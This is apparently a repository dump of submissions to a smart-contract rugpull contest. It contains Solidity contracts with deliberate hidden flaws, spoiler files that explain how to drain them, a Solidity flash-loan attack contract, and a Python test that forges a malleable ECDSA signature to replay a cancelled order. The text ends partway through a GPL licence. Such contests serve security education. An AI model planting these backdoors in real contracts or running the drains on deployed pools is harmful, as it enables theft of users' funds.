    "content": "#!/usr/bin/python3\nimport brownie\nimport pytest\nimport os\n\nfrom brownie.network.account import defunct_hash_message, eth_keys, sign_message_hash, HexBytes\n\n@pytest.fixture(scope=\"function\", autouse=True)\ndef isolate(fn_isolation):\n    # perform a chain rewind after completing each test, to ensure proper isolation\n    # https://eth-brownie.readthedocs.io/en/v1.10.3/tests-pytest-intro.html#isolation-fixtures\n    pass\n\n@pytest.fixture(scope=\"module\")\ndef deployer(accounts):\n    return accounts[0]\n\n@pytest.fixture(scope=\"module\")\ndef buyer(accounts):\n    return accounts.add('120104ed2807b15b1c0f514234d08fd9d6c9f073d242240ee31ada96cd5f0277')\n\n@pytest.fixture(scope=\"module\")\ndef seller(accounts):\n    return accounts.add('8fa2fdfb89003176a16b707fc860d0881da0d1d8248af210df12d37860996fb2')\n\ndef privkey(x):\n    return eth_keys.keys.PrivateKey(HexBytes(x.private_key))\n\n@pytest.fixture(scope=\"module\")\ndef token(PaymentToken, deployer, buyer):\n    t = PaymentToken.deploy(1000, {'from': deployer})\n    t.transfer(buyer, 100, {'from': deployer})\n    return t\n\n@pytest.fixture(scope=\"module\")\ndef nft(NFT, deployer, seller):\n    t = NFT.deploy({'from': deployer})\n    t.transferFrom(deployer, seller, 1, {'from': deployer})\n    t.transferFrom(deployer, seller, 2, {'from': deployer})\n    return t\n\n@pytest.fixture(scope=\"module\")\ndef market(CheapMarketplace, token, nft, deployer, seller):\n    return CheapMarketplace.deploy(token.address, nft.address, {'from': deployer})\n\ndef test_setup(market, nft, token, deployer, buyer, seller):\n    assert token.balanceOf(buyer) == 100\n    assert nft.ownerOf(1) == seller\n    assert nft.ownerOf(2) == seller\n    assert nft.ownerOf(3) == deployer\n\ndef test_cancel(market, seller):\n    msg = market.orderMessage(False, seller, 1, 42)\n    (v, r, s, _) = sign_message_hash(privkey(seller), msg)\n    market.cancelOrder(False, seller, 1, 42, [v, r, s], {'from': seller})\n\n\ndef test_atomic_match(market, seller, buyer, deployer, nft, token):\n    nft.approve(market, 1, {'from': seller})\n    token.approve(market, 1000, {'from': buyer})\n\n    msg_sell = market.orderMessage(False, seller, 1, 42)\n    msg_buy = market.orderMessage(True, buyer, 1, 42)\n\n    (v, r, s, _) = sign_message_hash(privkey(buyer), msg_buy)\n    vrsBuy = [v, r, s]\n    (v, r, s, _) = sign_message_hash(privkey(seller), msg_sell)\n    vrsSell = [v, r, s]\n\n    assert nft.ownerOf(1) == seller\n    market.atomicMatch(1, buyer, 42, vrsBuy, seller, 42, vrsSell, {'from': deployer})\n    assert nft.ownerOf(1) == buyer\n\n\ndef test_match_after_cancel_must_fail(market, seller, buyer, deployer, nft, token):\n    nft.approve(market, 1, {'from': seller})\n    token.approve(market, 1000, {'from': buyer})\n\n    msg_sell = market.orderMessage(False, seller, 1, 42)\n    msg_buy = market.orderMessage(True, buyer, 1, 42)\n\n    (v, r, s, _) = sign_message_hash(privkey(buyer), msg_buy)\n    vrsBuy = [v, r, s]\n    (v, r, s, _) = sign_message_hash(privkey(seller), msg_sell)\n    vrsSell = [v, r, s]\n\n    market.cancelOrder(False, seller, 1, 42, [v, r, s], {'from': seller})\n\n    assert nft.ownerOf(1) == seller\n    with brownie.reverts():\n        market.atomicMatch(1, buyer, 42, vrsBuy, seller, 42, vrsSell, {'from': deployer})\n    assert nft.ownerOf(1) == seller\n\n\ndef test_atomic_match_exploit(market, seller, buyer, deployer, nft, token):\n    nft.approve(market, 1, {'from': seller})\n    token.approve(market, 1000, {'from': buyer})\n\n    msg_sell = market.orderMessage(False, seller, 1, 42)\n    msg_buy = market.orderMessage(True, buyer, 1, 42)\n\n    (v, r, s, _) = sign_message_hash(privkey(buyer), msg_buy)\n    vrsBuy = [v, r, s]\n    (v, r, s, _) = sign_message_hash(privkey(seller), msg_sell)\n\n    market.cancelOrder(False, seller, 1, 42, [v, r, s], {'from': seller})\n\n    # Let's fabricate a different signature from the seller based on the original\n    n = 115792089237316195423570985008687907852837564279074904382605163141518161494337\n    s_prime = n - s\n    v_prime = 27 + 28 - v\n    vrsSell = [v_prime, r, s_prime]\n\n    assert nft.ownerOf(1) == seller\n    market.atomicMatch(1, buyer, 42, vrsBuy, seller, 42, vrsSell, {'from': deployer})\n    assert nft.ownerOf(1) == buyer\n"
  },
  {
    "path": "2022/submissions_2022/submission1_RikhardHjort/README.md",
    "content": "A standard and very simple DEX.\nIt allows providing LP and removing LP, swapping, and flash loaning.\nThe owner can pause the contract, which stops swaps and providing LP, but of course it will still allow withdrawals.\nThe DEX doesn't calculate a good swap price for you, it just accepts whatever amounts you give it and then checks that you supplied *at least* enough input tokens.\nNo slippage protections here -- we trust our diligent users.\n\nAdding and removing LP is always done by specifying a number of shares to mint or burn, and the correct token amounts based on current price are simply pulled from the sender (careful with how much you approve).\nOnly to set the initial balance when the pool is empty may you specify a proportion.\nThe heuristic for assigning first shares is the same as in Uniswap 1: just use the amount of one of the pairs as initial value.\n\nThe supported tokens are straightforward ones, without hooks and with transfer* functions that either revert or return false on error.\n\nIt's a bare-bones, easy to understand, fairly gas cheap AMM.\nWhat could go wrong?\n"
  },
  {
    "path": "2022/submissions_2022/submission1_RikhardHjort/rugpull.txt",
    "content": "The owner can drain all the funds through a flash loan and manipulating the fact that `unpause` calls sync!\n\nAll they need to do is:\n1. give the owner some tokens to pay for the flash loan fee.\n2. set the owner to a contract that has the following body:\n\n```\n    function attack() external {\n        dex.flashLoan(IERC3156FlashBorrower(address(this)), dex.token1(), dex.token1().balanceOf(address(dex)), \"\");\n        dex.swap(dex.token2(), 0, dex.token1(), dex.token1().balanceOf(address(dex)));\n    }\n\n    function onFlashLoan(\n        address initiator,\n        address token,\n        uint256 amount,\n        uint256 fee,\n        bytes calldata data\n    ) external returns(bytes32) {\n        dex.unpause(); // Sets k to 0\n        dex.swap(dex.token1(), 0, dex.token2(), dex.token2().balanceOf(address(dex)));\n        return keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n    }\n```\n\nExtra sneaky points if the owner is an upgradable contract, or a still\nundeployed contract, so that it's not obvious what it can do.\n\n3. trigger the `attack` function.\n\nAfter the flash loan concludes in the first line of `attack`, the `k` in the DEX is 0, and the balance of `token2` has been completely drained.\nThe full balance of `token1` remains, plus the fee, but the attacker can simply call another swap, again depositing no tokens, and take the remaining balance."
  },
  {
    "path": "2022/submissions_2022/submission1_RikhardHjort/src/DEX.sol",
    "content": "// SPDX-License-Identifier: UNLICENSED\npragma solidity 0.8.10;\n\ncontract DEX {\n    address public owner;\n    bool    public paused;\n\n    IERC20  public  token1;\n    IERC20  public  token2;\n    uint256 private k;\n\n    uint256 public totalShares;\n    mapping (address => uint256) public shares;\n\n    constructor(IERC20 _token1, IERC20 _token2, address _owner) {\n        token1 = _token1;\n        token2 = _token2;\n        owner = _owner;\n    }\n\n    function init(uint256 amount1, uint256 amount2) external {\n        require(token1.balanceOf(address(this)) == 0 && token2.balanceOf(address(this)) == 0);\n        require(token1.transferFrom(msg.sender, address(this), amount1));\n        require(token2.transferFrom(msg.sender, address(this), amount2));\n        totalShares = shares[msg.sender] = amount1;\n        _sync();\n    }\n    \n    modifier notPaused() {\n        require(!paused);\n        _;\n    }\n\n    function pause() external {\n        require(msg.sender == owner);\n        paused = true;\n    }\n\n    function unpause() external {\n        require(msg.sender == owner);\n        paused = false;\n        _sync();\n    }\n\n    function swap(IERC20 tokenIn, uint256 amountIn, IERC20 tokenOut, uint256 amountOut) external notPaused() {\n        require((tokenIn == token1 && tokenOut == token2) || (tokenIn == token2 && tokenOut == token1));\n        require(tokenIn.transferFrom(msg.sender, address(this), amountIn));\n        require(tokenOut.transfer(msg.sender, amountOut));\n        uint256 x = tokenIn .balanceOf(address(this));\n        uint256 y = tokenOut.balanceOf(address(this));\n        require(1000 * x * y - amountIn * y * 5 >= 1000 * k, \"bad swap\"); // charge fee, (x - 0.005 * amountIn) * y >= k\n        _sync();\n    }\n\n    function addLiquidity(uint256 sharesToMint) external notPaused() {\n        // amount / balanceOf == sharesToMint / totalShares\n        uint256 amount1 = token1.balanceOf(address(this)) * sharesToMint / totalShares;\n        uint256 amount2 = token2.balanceOf(address(this)) * sharesToMint / totalShares;\n        shares[msg.sender] += sharesToMint;\n        totalShares += sharesToMint;\n        require(token1.transferFrom(msg.sender, address(this), amount1));\n        require(token2.transferFrom(msg.sender, address(this), amount2));\n        _sync();\n    }\n\n    function removeLiquidity(uint256 sharesToBurn) external {\n        uint256 amount1 = token1.balanceOf(address(this)) * sharesToBurn / totalShares;\n        uint256 amount2 = token2.balanceOf(address(this)) * sharesToBurn / totalShares;\n        shares[msg.sender] -= sharesToBurn;\n        totalShares -= sharesToBurn;\n        require(token1.transfer(msg.sender, amount1));\n        require(token2.transfer(msg.sender, amount2));\n        _sync();\n    }\n\n    function flashLoan(IERC3156FlashBorrower receiver, IERC20 token, uint256 amount, bytes calldata data) external notPaused() returns (bool) {\n        require(token == token1 || token == token2);\n        uint256 fee = amount * 5 / 1000; // 0.5 %\n        require(token.transfer(address(receiver), amount));\n        require(receiver.onFlashLoan(msg.sender, address(token), amount, fee, data) == keccak256(\"ERC3156FlashBorrower.onFlashLoan\"));\n        require(IERC20(token).transferFrom(address(receiver), address(this), amount + fee));\n        _sync();\n        return true;\n    }\n    \n    function _sync() internal {\n        k = token1.balanceOf(address(this)) * token2.balanceOf(address(this));\n    }\n}\n\ninterface IERC20 {\n    function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);\n    function transfer(address _to, uint256 _value) external returns (bool success);\n    function balanceOf(address _owner) external view returns (uint256 balance);\n}\n\ninterface IERC3156FlashBorrower {\n    function onFlashLoan(address initiator, address token, uint256 amount, uint256 fee, bytes calldata data) external returns (bytes32);\n}"
  },
  {
    "path": "2022/submissions_2022/submission2_Ashiq/README.md",
    "content": "## Swap121\n\nIntroducing Swap121 - a new type of DEX to swap one-to-one between similarly priced assets. The DEX offers feeless, 0 zero slippage trades up to the available liquidity in the contract. So far, we've tested swaps between `alETH<->wstETH` and can confirm that trades in either direction are working as intended. As for security, our auditors have recommended that we use the `safeTransferFrom` function to pull tokens from our users, but we've found that our in-house tests pass if we additionally try using the usual `transferFrom` function as well. We're confident that our testing has met our high standards, so we've now expanded the DEX to include swaps between WETH so users can additionally trade `alETH<->WETH<->wstETH` in any direction. The WETH contract is pretty straightforward compared to alETH and wstETH, so there shouldn't be any issues in expanding our DEX. In fact, we've already gone to prod! \n\nAssumptions:\n\n- For the purpose of simplicity, assume that the Swap121 contract is funded equally for each of the supported tokens, e.g. funded with 1000 WETH, 1000 alETH and 1000 wstETH.\n- Any additional functionality belonging to alETH or wstETH (e.g. unwrapping wstETH to stETH) is not important for the sake of this submission. \n- The actual prices of the assets in question are not relevant for this submission, so it's safe to assume the price of each accepted asset is the same. \n"
  },
  {
    "path": "2022/submissions_2022/submission2_Ashiq/Swap121.sol",
    "content": "//SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n    function transferFrom(address src, address dst, uint wad) external returns (bool);\n    function safeTransferFrom(address src, address dst, uint wad) external;\n    function transfer(address dst, uint wad) external returns (bool);\n}\n\ncontract Swap121 {\n  \n    mapping(address=>bool) public acceptedAsset;\n\n    constructor() public {        \n        acceptedAsset[0x0100546F2cD4C9D97f798fFC9755E47865FF7Ee6] = true; //alETH\n        acceptedAsset[0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0] = true; //wstETH\n        acceptedAsset[0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2] = true; //WETH\n    }\n\n    function swap(address from, address to, uint256 amount) external {        \n        require(from != to && acceptedAsset[from] && acceptedAsset[to]);\n        IERC20 fromToken = IERC20(from);\n        IERC20 toToken = IERC20(to);\n        try fromToken.safeTransferFrom(msg.sender, address(this), amount) {} \n        catch {require(fromToken.transferFrom(msg.sender, address(this), amount));}        \n        toToken.transfer(msg.sender, amount);\n    }\n    \n}"
  },
  {
    "path": "2022/submissions_2022/submission2_Ashiq/spoiler.txt",
    "content": "## Spoiler\n\nIntroducing WETH trades with the current try-catch pattern first used for alETH<->wstETH trades introduces a vulnerability that allows an attacker to fully drain the DEX of all supported asset balances. The issue relies on the fact that the WETH contract does define a `safeTransferFrom` function, and has a non-reverting fallback function, i.e. WETH has a phantom `safeTransferFrom`. This antipattern was recently discovered by Dedaub who first found these 'phantom function' no-ops in the Multichain project (https://media.dedaub.com/phantom-functions-and-the-billion-dollar-no-op-c56f062ae49f). \n\nTrades originating from alETH or wstETH work as intended since the try-statement `safeTransferFrom` call fails, and the catch-statement `transferFrom` call pulls the user's tokens if the allowance was made available. Any trade originating with WETH passes through the try-catch statement, since the try-statement `safeTransferFrom` call goes to the WETH fallback function and does not revert, so the functional `transferFrom` in the catch-statement does not get called. One example of how an attacker can drain the DEX balances is shown in the following 4 trades, assuming equal balances of all assets:\n\n1) Swap all WETH -> wstETH to drain the wstETH balance\n2) Swap all WETH -> alETH  to drain the alETH balance\n3) Swap all alETH -> WETH to swap for the WETH balance\n4) Swap all WETH -> alETH to drain the alETH balance supplied in step (3)\n\nSteps to mitigate this issue includes never building contract interfaces by hand or importing them without strict validation. In this case, `safeTransferFrom` should never have been in the contract interface since it's usually used from the SafeERC20 library to wrap `transferFrom` calls. Moreover, imported contract interfaces should be manually inspected to match the function names and parameters of the target contract. Lastly, and most importantly, additional validation on the state changes from external contract calls should be implemented. For example, checking if the contract received the correct number tokens after the `safeTransferFrom` call would have prevented this issue. \n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/README.md",
    "content": "### Tests\n\nThis repo uses `forge` from Foundry.\nThere are a few tests written for this code, most of which are normal unit\ntests, but also one that tests the rugpull.\nIf you do not want spoilers, **do not** open the test file.\nThe full spoiler is in SPOILER.md.\n\nTo run all tests run\n```\n$ forge test\n```\n\n### Basic Idea\n\nThe code here represents a Match Making (MM) contract that is NOT ready for\nproduction.\n\nThe basic idea is to allow users to buy and sell from a pair of tokens T1 and\nT2, by sending Sell and Buy orders at a specified price.\n\nA sell order gives T1 and receives T2.\nA buy order gives T2 and receives T1.\n\nTo simplify the contract, the price is specified as \"the amount of T2 per 10^9\nT1\" to give some granularity without using FixedPoint libraries.\nTherefore, the amount of tokens someone receives for a certain order is:\n- Sell: (Quantity * Price) / 10^9\n- Buy: (Quantity * 10^9) / Price\n\nAn order is only considered valid if the person would receive at least 1 of the\nother token.\n\nWe keep two order arrays:\n1) The Sell orders, sorted in decreasing order.\n2) The Buy orders, sorted in increasing order.\n\nA match will try to match the last element of each array, therefore the lowest\nSell and the highest Buy. For simplicity, only orders with the same price can\nmatch.\n\nAn order may be partially filled. In this case, the desired quantity of that\norder decreases by the received amount. If the updated order is invalid, it is\nremoved from the book.\n\n### Known problems\n\nKnown problems and assumptions that are not part of the intended problem of\nthis submission:\n\n- Since orders only match if they have the same price, even order pairs such as\n  (Sell at 10, Buy at 15) would not match. We assume that someone can easily\n  arbitrage this by buying at 10 from the first order and selling at 15 to the\n  second.\n- Someone can DoS the contract by placing many orders of the minimum amount of\n  tokens that make an order valid. Conceptually this is not a problem if we\n  assume gas is free (for the sake of the exercise in this submission), since\n  those orders would partially match other orders and everything would still\n  work, only requiring more transactions.\n- Some orders may take a long time to match. If an order never matches, a user\n  can simply cancel their order.\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/SPOILER.md",
    "content": "### RUGPULL\n\nTo run the rugpull test, run\n```\n$ forge test --match \"hack\"\n```\n\nIn `MatchMaking.t.sol`, you will see in function `test_hack` that the hacker\nstarts with 1000 tokens and ends up with 2000.\n\nThe problem is in function `update`, line `Order storage temp = can[i - 1];`.\n\nSince `temp` is only a reference, the old order that is swapped with the new\norder to keep the book sorted is not really copied into its new location.\n\nThe result is that the new order overwrites every order that it needs to be\nswapped with until its proper location is found, based on its price.\n\nAfter placing the order that overwrites old orders, the hacker can simply\ncancel all their orders, until the MM contract is completely drained.\n\nThe fix is to replace `storage` by `memory` in the mentioned line.\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/foundry.toml",
    "content": "[default]\nsrc = 'src'\nout = 'out'\nlibs = ['lib']\nremappings = ['ds-test/=lib/ds-test/src/']\n\n# See more config options https://github.com/gakonst/foundry/tree/master/config"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/ds-test/.gitignore",
    "content": "/.dapple\n/build\n/out\n"
  },
  {
    "path": "2022/submissions_2022/submission3_LeoAlt/lib/ds-test/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The GNU General Public License is a free, copyleft license for\nsoftware and other kinds of works.\n\n  The licenses for most software and other practical works are designed\nto take away your freedom to share and change the works.  By contrast,\nthe GNU General Public License is intended to guarantee your freedom to\nshare and change all versions of a program--to make sure it remains free\nsoftware for all its users.  We, the Free Software Foundation, use the\nGNU General Public License for most of our software; it applies also to\nany other work released this way by its authors.  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthem if you wish), that you receive source code or can get it if you\nwant it, that you can change the software or use pieces of it in new\nfree programs, and that you know you can do these things.\n\n  To protect your rights, we need to prevent others from denying you\nthese rights or asking you to surrender the rights.  Therefore, you have\ncertain responsibilities if you distribute copies of the software, or if\nyou modify it: responsibilities to respect the freedom of others.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must pass on to the recipients the same\nfreedoms that you received.  You must make sure that they, too, receive\nor can get the source code.  And you must show them these terms so they\nknow their rights.\n\n  Developers that use the GNU GPL protect your rights with two steps:\n(1) assert copyright on the software, and (2) offer you this License\ngiving you legal permission to copy, distribute and/or modify it.\n\n  For the developers' and authors' protection, the GPL clearly explains\nthat there is no warranty for this free software.  For both users' and\nauthors' sake, the GPL requires that modified versions be marked as\nchanged, so that their problems will not be attributed erroneously to\nauthors of previous versions.\n\n  Some devices are designed to deny users access to install or run\nmodified versions of the software inside them, although the manufacturer\ncan do so.  This is fundamentally incompatible with the aim of\nprotecting users' freedom to change the software.  The systematic\npattern of such abuse occurs in the area of products for individuals to\nuse, which is precisely where it is most unacceptable.  Therefore, we\nhave designed this version of the GPL to prohibit the practice for those\nproducts.  If such problems arise substantially in other domains, we\nstand ready to extend this provision to those domains in future versions\nof the GPL, as needed to protect the freedom of users.\n\n  Finally, every program is threatened constantly by software patents.\nStates should not allow patents to restrict development and use of\nsoftware on general-purpose computers, but in those that do, we wish to\navoid the special danger that patents applied to a free program could\nmake it effectively proprietary.  To prevent this, the GPL assures that\npatents cannot be used to render the program non-free.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                       TERMS AND CONDITIONS\n\n  0. Definitions.\n\n  \"This License\" refers to version 3 of the GNU General Public License.\n\n  \"Copyright\" also means copyright-like laws that apply to other kinds of\nworks, such as semiconductor masks.\n\n  \"The Program\" refers to any copyrightable work licensed under this\nLicense.  Each licensee is addressed as \"you\".  \"Licensees\" and\n\"recipients\" may be individuals or organizations.\n\n  To \"modify\" a work means to copy from or adapt all or part of the work\nin a fashion requiring copyright permission, other than the making of an\nexact copy.  The resulting work is called a \"modified version\" of the\nearlier work or a work \"based on\" the earlier work.\n\n  A \"covered work\" means either the unmodified Program or a work based\non the Program.\n\n  To \"propagate\" a work means to do anything with it that, without\npermission, would make you directly or secondarily liable for\ninfringement under applicable copyright law, except executing it on a\ncomputer or modifying a private copy.  Propagation includes copying,\ndistribution (with or without modification), making available to the\npublic, and in some countries other activities as well.\n\n  To \"convey\" a work means any kind of propagation that enables other\nparties to make or receive copies.  Mere interaction with a user through\na computer network, with no transfer of a copy, is not conveying.\n\n  An interactive user interface displays \"Appropriate Legal Notices\"\nto the extent that it includes a convenient and prominently visible\nfeature that (1) displays an appropriate copyright notice, and (2)\ntells the user that there is no warranty for the work (except to the\nextent that warranties are provided), that licensees may convey the\nwork under this License, and how to view a copy of this License.  If\nthe interface presents a list of user commands or options, such as a\nmenu, a prominent item in the list meets this criterion.\n\n  1. Source Code.\n\n  The \"source code\" for a work means the preferred form of the work\nfor making modifications to it.  \"Object code\" means any non-source\nform of a work.\n\n  A \"Standard Interface\" means an interface that either is an official\nstandard defined by a recognized standards body, or, in the case of\ninterfaces specified for a particular programming language, one that\nis widely used among developers working in that language.\n\n  The \"System Libraries\" of an executable work include anything, other\nthan the work as a whole, that (a) is included in the normal form of\npackaging a Major Component, but which is not part of that Major\nComponent, and (b) serves only to enable use of the work with that\nMajor Component, or to implement a Standard Interface for which an\nimplementation is available to the public in source code form.  A\n\"Major Component\", in this context, means a major essential component\n(kernel, window system, and so on) of the specific operating system\n(if any) on which the executable work runs, or a compiler used to\nproduce the work, or an object code interpreter used to run it.\n\n  The \"Corresponding Source\" for a work in object code form means all\nthe source code needed to generate, install, and (for an executable\nwork) run the object code and to modify the work, including scripts to\ncontrol those activities.  However, it does not include the work's\nSystem Libraries, or general-purpose tools or generally available free\nprograms which are used unmodified in performing those activities but\nwhich are not part of the work.  For example, Corresponding Source\nincludes interface definition files associated with source files for\nthe work, and the source code for shared libraries and dynamically\nlinked subprograms that the work is specifically designed to require,\nsuch as by intimate data communication or control flow between those\nsubprograms and other parts of the work.\n\n  The Corresponding Source need not include anything that users\ncan regenerate automatically from other parts of the Corresponding\nSource.\n\n  The Corresponding Source for a work in source code form is that\nsame work.\n\n  2. Basic Permissions.\n\n  All rights granted under this License are granted for the term of\ncopyright on the Program, and are irrevocable provided the stated\nconditions are met.  This License explicitly affirms your unlimited\npermission to run the unmodified Program.  The output from running a\ncovered work is covered by this License only if the output, given its\ncontent, constitutes a covered work.  This License acknowledges your\nrights of fair use or other equivalent, as provided by copyright law.\n\n  You may make, run and propagate covered works that you do not\nconvey, without conditions so long as your license otherwise remains\nin force.  You may convey covered works to others for the sole purpose\nof having them make modifications exclusively for you, or provide you\nwith facilities for running those works, provided that you comply with\nthe terms of this License in conveying all material for which you do\nnot control copyright.  Those thus making or running the covered works\nfor you must do so exclusively on your behalf, under your direction\nand control, on terms that prohibit them from making any copies of\nyour copyrighted material outside their relationship with you.\n\n  Conveying under any other circumstances is permitted solely under\nthe conditions stated below.  Sublicensing is not allowed; section 10\nmakes it unnecessary.\n\n  3. Protecting Users' Legal Rights From Anti-Circumvention Law.\n\n  No covered work shall be deemed part of an effective technological\nmeasure under any applicable law fulfilling obligations under article\n11 of the WIPO copyright treaty adopted on 20 December 1996, or\nsimilar laws prohibiting or restricting circumvention of such\nmeasures.\n\n  When you convey a covered work, you waive any legal power to forbid\ncircumvention of technological measures to the extent such circumvention\nis effected by exercising rights under this License with respect to\nthe covered work, and you disclaim any intention to limit operation or\nmodification of the work as a means of enforcing, against the work's\nusers, your or third parties' legal rights to forbid circumvention of\ntechnological measures.\n\n  4. Conveying Verbatim Copies.\n\n  You may convey verbatim copies of the Program's source code as you\nreceive it, in any medium, provided that you conspicuously and\nappropriately publish on each copy an appropriate copyright notice;\nkeep intact all notices stating that this License and any\nnon-permissive terms added in accord with section 7 apply to the code;\nkeep intact all notices of the absence of any warranty; and give all\nrecipients a copy of this License along with the Program.\n\n  You may charge any price or no price for each copy that you convey,\nand you may offer support or warranty protection for a fee.\n\n  5. Conveying Modified Source Versions.\n\n  You may convey a work based on the Program, or the modifications to\nproduce it from the Program, in the form of source code under the\nterms of section 4, provided that you also meet all of these conditions:\n\n    a) The work must carry prominent notices stating that you modified\n    it, and giving a relevant date.\n\n    b) The work must carry prominent notices stating that it is\n    released under this License and any conditions added under section\n    7.  This requirement modifies the requirement in section 4 to\n    \"keep intact all notices\".\n\n    c) You must license the entire work, as a whole, under this\n    License to anyone who comes into possession of a copy.  This\n    License will therefore apply, along with any applicable section 7\n    additional terms, to the whole of the work, and all its parts,\n    regardless of how they are packaged.  This License gives no\n    permission to license the work in any other way, but it does not\n    invalidate such permission if you have separately received it.\n\n    d) If the work has interactive user interfaces, each must display\n    Appropriate Legal Notices; however, if the Program has interactive\n    interfaces that do not display Appropriate Legal Notices, your\n    work need not make them do so.\n\n  A compilation of a covered work with other separate and independent\nworks, which are not by their nature extensions of the covered work,\nand which are not combined with it such as to form a larger program,\nin or on a volume of a storage or distribution medium, is called an\n\"aggregate\" if the compilation and its resulting copyright are not\nused to limit the access or legal rights of the compilation's users\nbeyond what the individual works permit.  Inclusion of a covered work\nin an aggregate does not cause this License to apply to the other\nparts of the aggregate.\n\n  6. Conveying Non-Source Forms.\n\n  You may convey a covered work in object code form under the terms\nof sections 4 and 5, provided that you also convey the\nmachine-readable Corresponding Source under the terms of this License,\nin one of these ways:\n\n    a) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by the\n    Corresponding Source fixed on a durable physical medium\n    customarily used for software interchange.\n\n    b) Convey the object code in, or embodied in, a physical product\n    (including a physical distribution medium), accompanied by a\n    written offer, valid for at least three years and valid for as\n    long as you offer spare parts or customer support for that product\n    model, to give anyone who possesses the object code either (1) a\n    copy of the Corresponding Source for all the software in the\n    product that is covered by this License, on a durable physical\n    medium customarily used for software interchange, for a price no\n    more than your reasonable cost of physically performing this\n    conveying of source, or (2) access to copy the\n    Corresponding Source from a network server at no charge.\n\n    c) Convey individual copies of the object code with a copy of the\n    written offer to provide the Corresponding Source.  This\n    alternative is allowed only occasionally and noncommercially, and\n    only if you received the object code with such an offer, in accord\n    with subsection 6b.\n\n    d) Convey the object code by offering access from a designated\n    place (gratis or for a charge), and offer equivalent access to the\n    Corresponding Source in the same way through the same place at no\n    further charge.  You need not require recipients to copy the\n    Corresponding Source along with the object code.  If the place to\n    copy the object code is a network server, the Corresponding Source\n    may be on a different server (operated by you or a third party)\n    that supports equivalent copying facilities, provided you maintain\n    clear directions next to the object code saying where to find the\n    Corresponding Source.  Regardless of what server hosts the\n    Corresponding Source, you remain obligated to ensure that it is\n    available for as long as needed to satisfy these requirements.\n\n    e) Convey the object code using peer-to-peer transmission, provided\n    you inform other peers where the object code and Corresponding\n    Source of the work are being offered to the general public at no\n    charge under subsection 6d.\n\n  A separable portion of the object code, whose source code is excluded\nfrom the Corresponding Source as a System Library, need not be\nincluded in conveying the object code work.\n\n  A \"User Product\" is either (1) a \"consumer product\", which means any\ntangible personal property which is normally used for personal, family,\nor household purposes, or (2) anything designed or sold for incorporation\ninto a dwelling.  In determining whether a product is a consumer product,\ndoubtful cases shall be resolved in favor of coverage.  For a particular\nproduct received by a particular user, \"normally used\" refers to a\ntypical or common use of that class of product, regardless of the status\nof the particular user or of the way in which the particular user\nactually uses, or expects or is expected to use, the product.  A product\nis a consumer product regardless of whether the product has substantial\ncommercial, industrial or non-consumer uses, unless such uses represent\nthe only significant mode of use of the product.\n\n  \"Installation Information\" for a User Product means any methods,\nprocedures, authorization keys, or other information required to install\nand execute modified versions of a covered work in that User Product from\na modified version of its Corresponding Source.  The information must\nsuffice to ensure that the continued functioning of the modified object\ncode is in no case prevented or interfered with solely because\nmodification has been made.\n\n  If you convey an object code work under this section in, or with, or\nspecifically for use in, a User Product, and the conveying occurs as\npart of a transaction in which the right of possession and use of the\nUser Product is transferred to the recipient in perpetuity or for a\nfixed term (regardless of how the transaction is characterized), the\nCorresponding Source conveyed under this section must be accompanied\nby the Installation Information.  But this requirement does not apply\nif neither you nor any third party retains the ability to install\nmodified object code on the User Product (for example, the work has\nbeen installed in ROM).\n\n  The requirement to provide Installation Information does not include a\nrequirement to continue to provide support service, warranty, or updates\nfor a work that has been modified or installed by the recipient, or for\nthe User Product in which it has been modified or installed.  Access to a\nnetwork may be denied when the modification itself materially and\nadversely affects the operation of the network or violates the rules and\nprotocols for communication across the network.\n\n  Corresponding Source conveyed, and Installation Information provided,\nin accord with this section must be in a format that is publicly\ndocumented (and with an implementation available to the public in\nsource code form), and must require no special password or key for\nunpacking, reading or copying.\n\n  7. Additional Terms.\n\n  \"Additional permissions\" are terms that supplement the terms of this\nLicense by making exceptions from one or more of its conditions.\nAdditional permissions that are applicable to the entire Program shall\nbe treated as though they were included in this License, to the extent\nthat they are valid under applicable law.  If additional permissions\napply only to part of the Program, that part may be used separately\nunder those permissions, but the entire Program remains governed by\nthis License without regard to the additional permissions.\n\n  When you convey a copy of a covered work, you may at your option\nremove any additional permissions from that copy, or from any part of\nit.  (Additional permissions may be written to require their own\nremoval in certain cases when you modify the work.)  You may place\nadditional permissions on material, added by you to a covered work,\nfor which you have or can give appropriate copyright permission.\n\n  Notwithstanding any other provision of this License, for material you\nadd to a covered work, you may (if authorized by the copyright holders of\nthat material) supplement the terms of this License with terms:\n\n    a) Disclaiming warranty or limiting liability differently from the\n    terms of sections 15 and 16 of this License; or\n\n    b) Requiring preservation of specified reasonable legal notices or\n    author attributions in that material or in the Appropriate Legal\n    Notices displayed by works containing it; or\n\n    c) Prohibiting misrepresentation of the origin of that material, or\n    requiring that modified versions of such material be marked in\n    reasonable ways as different from the original version; or\n\n    d) Limiting the use for publicity purposes of names of licensors or\n    authors of the material; or\n\n    e) Declining to grant rights under trademark law for use of some\n    trade names, trademarks, or service marks; or\n\n    f) Requiring indemnification of licensors and authors of that\n    material by anyone who conveys the material (or modified versions of\n    it) with contractual assumptions of liability to the recipient, for\n    any liability that these contractual assumptions directly impose on\n    those licensors and authors.\n\n  All other non-permissive additional terms are considered \"further\nrestrictions\" within the meaning of section 10.  If the Program as you\nreceived it, or any part of it, contains a notice stating that it is\ngoverned by this License along with a term that is a further\nrestriction, you may remove that term.  If a license document contains\na further restriction but permits relicensing or conveying under this\nLicense, you may add to a covered work material governed by the terms\nof that 